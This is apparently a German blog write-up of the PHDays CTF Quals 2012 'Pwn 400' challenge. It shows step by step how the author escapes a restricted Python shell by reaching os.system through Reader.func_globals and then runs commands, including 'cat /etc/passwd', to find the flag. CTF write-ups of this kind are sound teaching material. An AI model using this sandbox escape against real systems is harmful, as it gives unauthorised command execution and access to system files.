PHDays CTF Quals 2012 –
Pwn 400

PHDays CTF 2012 - Pwn 400 - task description

Bei dieser Challenge (Pwn 400) wird ein Server mit Port genannt und der Hinweis gegeben, dass mit der Funktion “Reader()” drei Dateien ausgelesen werden könnten.

Um einen Überblick über die vor uns liegende Aufgabe zu erhalten, verbinden wir uns zunächst mit dem Server und Testen deren Funktionsmöglichkeiten aus:

rup0rt@lambda:~/PHDays2012$ nc ctf.phdays.com 1831
>>> Reader
<function Reader at 0x86a28ec>

>>> Reader("log.1")
<Some ASCII here...>

>>> Reader("flag.txt")
ValueError : You can't read that shit!

Es handelt sich also um eine Python-Schnittstelle (was die drei “>>>” andeuten). Die Funktion “Reader()” listet uns unter Angabe eines Dateinamens deren Inhalt auf. Dabei können jedoch nur die drei Dateinamen angegeben werden, die in der Aufgabenbeschreibung genannt werden. Andere Namen führen zu einer Fehlermeldung.

Um uns nun weiter voran zu arbeiten, untersuchen wir zunächst die Python-Umgebung und die uns zur Verfügung stehenden Funktionen mit der Methode “dir()”:

>>> dir()
['Reader', '__builtins__', '__doc__', '__file__', '__name__',
'__package__', 'a', 'e', 'inp']

>>> dir(__file__)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__',
'__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__',
'__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__',
'__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__',
'__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__',
'__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__',
'_formatter_field_name_split', '_formatter_parser', 'capitalize',
'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs',
'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower',
'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip',
'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition',
'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip',
'swapcase', 'title', 'translate', 'upper', 'zfill']

Wir sehen, dass uns neben der Funktion “Reader()” nicht viel weiteres bereitgestellt wird und auch aus der “file”-Bibliothek die für uns interessanten Funktionen, wie beispielsweise “open()” entfernt wurden. Wir müssen also einen anderen Weg finden, um an die von uns gewünschten Methoden zu gelangen.

Um zu verhindern, dass Benutzer auf Methoden zugreifen, ist es oft nur möglich deren Verknüpfungen (Zeiger) innerhalb der Methoden-Struktur zu löschen. Ein komplettes Entfernen einer Funktion ist eher schwierig, zumal die Methode “Reader()” selbst diverse Dateioperationen benötigt.

Unser Ziel ist es also innerhalb der Methoden-Hierarchie einen Zeiger auf eine für uns vorteilhafte Funktion, zum Beispiel “file.open()” oder “sys.os.system()” zu finden.

>>> dir()
['Reader', '__builtins__', '__doc__', '__file__', '__name__', ... ]

>>> dir(Reader)
[ ... , 'func_dict', 'func_doc', 'func_globals', 'func_name']

>>> list(Reader.func_globals)
[ ... , '__file__', 'sys', 'get_frame', '__name__', ... ]

>>> dir(Reader.func_globals['sys'])
[ ... , 'maxunicode', 'meta_path', 'modules', 'path', 'path_hooks', ... ]

>>> list(Reader.func_globals['sys'].modules)   
[ ... , 'exceptions', 'sre_parse', 'os', '_weakref', 'dis']

>>> dir(Reader.func_globals['sys'].modules['os'])
[ ... , 'sysconf', 'sysconf_names', 'system', 'tcgetpgrp', 'tcsetpgrp', ... ]

Wir haben es geschafft, innerhalb der Methoden-Stuktur von Python den Zeiger auf die Methode “system()” zu finden, mit der Kommandos auf dem System direkt ausgeführt werden können. Diese Funktion können wir nun nutzen um den Key zum Lösen der Challenge innerhalb der Verzeichnisstruktur ausfindig zu machen.

>>> Reader.func_globals['sys'].modules['os'].system("pwd")       
/
0

>>> Reader.func_globals['sys'].modules['os'].system("ls")         
bin    boot  dev  etc  home  lib   log.1  log.2  log.3    lost+found
media  mnt   oph  opt  proc  root  run    sbin   selinux  srv
sys    tmp   usr  var
0

Nachdem auf den ersten Blick nichts auffälliges zu erkennen ist, sehen wir, wie in der vorherigen Challenge auch, in die Datei “/etc/passwd” und erhalten:

>>> Reader.func_globals['sys'].modules['os'].system("cat /etc/passwd")

PHDays CTF 2012 - Pwn 400 - solution

Wiederum befindet sich der Schlüssel im GECOS-Feld des Benutzers “root”.

Die Lösung lautet somit: “41f20268caa093e1b746e5ca750d3aa0“.

Leave a Reply

Your email address will not be published. Required fields are marked *